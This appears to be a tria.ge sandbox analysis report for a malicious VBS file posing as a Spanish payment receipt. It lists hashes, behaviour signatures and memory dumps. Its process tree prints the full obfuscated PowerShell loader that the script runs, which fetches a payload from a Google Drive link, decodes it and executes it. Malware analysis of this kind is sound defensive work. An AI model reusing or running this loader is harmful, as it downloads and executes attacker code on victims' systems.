Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    118s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    18/04/2024, 09:04

General

  • Target

    Justificante de pago.vbs

  • Size

    210KB

  • MD5

    ee9f4f75ebcf4734ca7a472f014a9682

  • SHA1

    4878d0e591ae10ad9817c11be5abd34735dc7165

  • SHA256

    319f43e5b712ba70a59285b4ccb0f362b5f2c0cae447b8bf69fdb542de431359

  • SHA512

    3fac1b74b317010aa6811824c8e9920dcd138a77334c8512506aebadfe1ad467ce58c9dad90a28b008adc646496c7cfbf1c841cee85ce8b3100273f9c8b4218d

  • SSDEEP

    6144:XYBgIjQvrMbWSR4WHUJJs9E87Fy4lZrUChpqKmjum4QlNVrDjXR46cCPCRJfaqzl:02dOXnuW

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Justificante de pago.vbs"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:1732
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Provenuernes = 1;$Synosteosis='Substrin';$Synosteosis+='g';Function Soldag($Remitting){$Avisholdet=$Remitting.Length-$Provenuernes;For($Scripts=5; $Scripts -lt $Avisholdet; $Scripts+=(6)){$Antigalactic+=$Remitting.$Synosteosis.Invoke($Scripts, $Provenuernes);}$Antigalactic;}function Fibromucous($insolvenserne){. ($Cyklernes156) ($insolvenserne);}$Overinvest=Soldag 'SlvdyM HarbovellozEkst.iFjo olgo dwl,estoaVand./ Nonq5Tig.e.Ankei0Dem k G,ngl( solsW.urfliSlun,n,vabedIrrito So.pwabekosBlagu SkinbN GlumTCont, hurr1Heli,0 b,ou.Lambk0Under;Betin SkvulWHasseiMauq.nUnder6Slle,4A.fol;Eksam U.klixCr di6Offty4Unsa ; hove NostrM relvFangl:Ordb,1Snd,r2 Colp1Fngsl.Cigar0Handl)Zirco Fe.deGbarbeePredic knhekCabreo upin/ Me a2Fr il0Glo.y1Sejlg0Annab0Vitup1hovey0 rvin1Tnk m Bl,rnFDeliciAppenrUsaareEpid,fSkjoloPylorxIndgi/Orpin1Diphe2Coa,i1 Cogn.Holla0A.fil ';$Herblet=Soldag ' LivsUSpoomsSprogePintsr Kant-RefraANaviggFrigrereducnForeftMason ';$Succesdatamaters=Soldag 'BureahAdvist ,etatEmneopIncaps sott:Willi/klept/Over.dUforsrE.cerialfrivSeroaeOrnam.,anisgTi.sto pashoBarycgPastrlSm ele uran.Re,onc Org oUnlosmNatur/A stau UdflcDodec?SkirreLoanexTillipIdemso,inderUnfretResid= ndedIllusoJordnwBika nBlomslMa inol.ngtaDistedFlakk&Opko iRevisdTrav,=Tarmr1.nsubd InteILadylpPosteQAnoph4Stee UToterz .yntwsym,od.ndercOrganNMumb,4skati1 FlerW,orvauSamm dTeateuEnlarATids.VRegisYFrisuRSurprz Coun-,endeOUnimpqAfklidMcgranFo.me9 Talbf Vou,f,ettel AgbaaAbonn ';$Autovrnets=Soldag 'Isomo>frema ';$Cyklernes156=Soldag 'regioi Tu,cefilmkxDefte ';$Pantstteren = Soldag 'F.amme del,cWo,erh Prahonytte A trd% LeveaUnconpM,seyp BedrdmiskyaAntikt SkinaB,sgs%Un.on\ PrakSreinstSttemaP ltau SaftdLandseNondibSynlieTransdReagisScial. .graCFradri vaagg For. Het.r&Sh.nt&Repen V,ndmeAgarecOv rthArtero Modv For,$Lan b ';Fibromucous (Soldag 'E.bow$SvensgInclilScorioPeridbOverlaRist lsk,ms: BurrE inetmEksile Emn,nAfdridSprogeBly.nrnonsue Phot=.irgi( RenbcAr ejm De,idBaand Tres/,ephrcAlgeb enzi$g,loiPSndagaEs aln.yanitM,reks PrivtEksamtJor.fe Ve srneuroeDec anSy.eb)Slum. ');Fibromucous (Soldag ' Affa$ K,apg annolRid eoBlomsbPopeaa etzylBra e:Di plLTwaddi Re egUndernFrasjiArresnTransgResidsPerios ,lany Pelss GedetCyclaeShakom ReveePostcr Feri=Hu ge$RadiaSBogstuHstgicVaarecAircreJ rdfs BitudChaptalsevat .oraaV.nstmPumpea BeadtSkride.ubinrGenopsBaddi.Re.urs Gr.ypDydsmlAnticiMetaltskeln( tyre$PreseA StatuCubictBo sioGribevKancerEvenenAnflyeMammot Ind sAmphi)L.ave ');$Succesdatamaters=$Ligningssystemer[0];Fibromucous (Soldag ' sold$Humb gcha.slT.ljeotob.gb alea,udaslFunkt: ImmaCQueenoSpegeatovtrf M,dgfIndoriRigstr Kn.tmResmeaParmot orniR fryoArmennFlava=SikkeNBiomee venowlev.r-TwinkOFr.labStortjSieneeIns,icAff,rt Bran GnidkS U,any Fests C.gatTrykneKnstnm Ridd.SeparN NegleT.anstregns.BermmW eptaeovenlb HoejCTlle,l Sviri KhmeeAttemnD,legtSwell ');Fibromucous (Soldag 'Nonre$FrittCKiwieoDusinaMand,fTapskfSyntai gardrKa.bomtransaPro.etAerifi AktioHndeln Hvls.BekliHAfgrdeStundaUnadjd EmuleTiltarAquamsChek [gnawe$ BlowHPresseP easr ,uarbSuje,lUdfoleB dratDeci ] Some=Vandr$OpbygOA,uirvSole.e,edrir ,lotiJaspanPhotov AngueCirkus Blint Dr.k ');$Kubiktal=Soldag ',lassC gramo Truna.kinkf alff MoseiBragsrFor.vmA,pilaTid it CentiReannoBoundng.nst.OverdDRuti.oHensyw Ch lnF,ldelStyr.oRemrkaTu,edd RespFHav iiJa zblUn.ereDe ay(Sa.se$GedehSInteruUndercCopyhcU,grae G avsKonfldEndo,aA.soitGelofaKo.dtmBruseaEt,not AndeeAnnelr S.mmsFolke,Kolle$H,ndlHC.armo NunknAfdi oNatiorAfst.eRemasrForstiPeasanMedmegFuglee Ef,erOrgann Hazae A ers Gnos)Unide ';$Kubiktal=$Emendere[1]+$Kubiktal;$Honoreringernes=$Emendere[0];Fibromucous (Soldag ' Drom$Di.peg PschlPa anoHulygbMonaraAp,rtlStikl:Sa lyPSendeebursero.forcBldgriLigandTransa T.ereO,agr=Outhy(alp nTSprineRegissV tictTotr,-.dkmpPEnn.saStormtMetalhReva, Afspa$jaco,HSkummoPotbon EnevoArrowrDr.goe Quagr KanfiHaef,n Konsg Katkekniv rLgnehnSkulke NddesSto p) unio ');while (!$Percidae) {Fibromucous (Soldag 'I.ten$ afteg ndtalUnbasoAns.rbArbouaFo.brlGrupp:PhyllAD.bdelKaprvuRustim uperi Pas.nCycl.iAfl.sdRidd.eKippe= Huma$ ,ungtD,cenr jtryuStraaeLnkam ') ;Fibromucous $Kubiktal;Fibromucous (Soldag 'FlydeSvittit Laa aFar.ir Driktsnoo - UncaSPolarlSys.ee Detoe.uralpGlasv Tjrer4,ndle ');Fibromucous (Soldag 'C,mis$Over,gA,tenlDefraoskolebArgumaLnk.nlTold :MonogPFarene.erotr PolacBenssi Mor,d Oppra Gaare Gryn=,aski(SexisTErk,ne SkirsNonmat Skrm-SyltePFelica Biblt UovehKlamr Ara s$KapitHUnd so.ilnunDi doo.ennir ChroecryptrUnderiBeskynHimmegI.dsveBluejrMiljsnDissie Ind sTaffe)Birke ') ;Fibromucous (Soldag 'sagn $Interg T,kklUntrao VedebpairsaWeakelSou,i:OceanFureg i Pie,dCaramiHe.erbLun,euHenlesPleursSubefeChem,rStemmnRetureKa if=Takke$GengigSulfolSulphoal,odb trana ParelRivos: GnasSBrnehtKurataBovlstTheodiP.lersSkamft .odoiRettikSor ie.rundr Time+Koo d+Bevok% tild$Pe taL Tetti.ntergWaternElpidi aposnDemongSigi.sOrdstsPim sy MinosVennetVap.ueKo kumjo oseOversrBomlr.Antenc etonoTrierukos.mn Ove,tKnhje ') ;$Succesdatamaters=$Ligningssystemer[$Fidibusserne];}Fibromucous (Soldag ' Alph$.undegRo.kel FremoStrygbKak.raPeachlMisda:Ne viSUdbenknab gnAdjoihGrafoeUnaccdMicros.iskesForfavKa,lynI,edeeInfrunBjrnesPejle Rotan=legit P,troGExposeDisrot Aran-R.gnsCjerntoAfrunnPe.satTradieStraanPoweltSkans Ox,ch$Sy.teHColo oUendenAnimaoChlo.rK mmee CrozrOc.amiDemurnRottegAroxyeNawabrBichrnundere SupesPetau ');Fibromucous (Soldag 'Pipr $MbelegUnmarlEskalo KbstbUlem aMongolU,cha:IntenO Passp ElasrYpp,rrTapetsSeasosDi cit VadeyVanter Ov rkSympaePalu,rafbrunPneume Skovs ,ste Indi=Skrbu Quar.[ Ho mSBe ouyS,ddesEquist reupeThio mC.rru.ten.rC Me,oofornenLab,ovElektePrverrUnmistRealt] Os e:Gudsb:FamilFOperar areloChrommVarmlBStrutaAuratsioniceIntel6.olin4Drud.S Anthtb negr VersiRstsgnB.odrgArbor( ,ngd$ DistSTvetukArg.dnOffenhAmebie UbefdDimits,idensA radvUncoun BilleAudien Leves Dagv) d.ek ');Fibromucous (Soldag 'Rabat$Gumm gTob gl Ti,lowithebDefinaOversl Oli.:Af,itDBravuoBrassoEtik,mF ngef BoatuSpndelHornflpeltayPoten Bagi=Galva Frdig[Emit SLaxi,yNo.aus ForbtBrneaeQua rmAlfil.Tab,lT ,aleeRe.tex SjaktNeuro.MajusEYng enRouercBortsoAdresdD lomi Fo,nn Ggepg Deco] Skjo:Stand:Wig,aAAirm SUrfugCSclerIte eoINecro.urnssGEtaloeMalestPaltrSBogsitE nsarAldrii skovnRel,vgHu,le(Lachr$ DksoO,verspDep.irS.mptr.yelesI onesTr,gtt O,gayFit,erO,adrkHalvde FlerrPletvnSlingeSkndisch.uf)Til,b ');Fibromucous (Soldag 'monke$AgerhgFlammlKrestoBeflebcounta.ordalVap,u:ObserD,tereeanglifKompoeUaf tnSge,idTyg,eeCe,trd Micr= Huma$SkoleD LikeoKartooUnconmAngstfVibr uInficlbhartlS,ralyDatam.GumptsunhaluF.liib RetisSlavetOophorAr,ejihulstnTawdrgRorka( Peas2Vandl8Mundh7J,rgo2 gen0Daar 6 nemu,Rhyth2Beb,e8Produ6Fulzi2Alkal7,rtop)Dekom ');Fibromucous $Defended;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2932
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Staudebeds.Cig && echo $"
        3⤵
          PID:2628

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2932-21-0x000000001B220000-0x000000001B502000-memory.dmp

      Filesize

      2.9MB

    • memory/2932-22-0x0000000001E30000-0x0000000001E38000-memory.dmp

      Filesize

      32KB

    • memory/2932-23-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

      Filesize

      9.6MB

    • memory/2932-24-0x0000000002820000-0x00000000028A0000-memory.dmp

      Filesize

      512KB

    • memory/2932-25-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

      Filesize

      9.6MB

    • memory/2932-26-0x0000000002820000-0x00000000028A0000-memory.dmp

      Filesize

      512KB

    • memory/2932-27-0x0000000002820000-0x00000000028A0000-memory.dmp

      Filesize

      512KB

    • memory/2932-30-0x0000000002820000-0x00000000028A0000-memory.dmp

      Filesize

      512KB

    • memory/2932-31-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

      Filesize

      9.6MB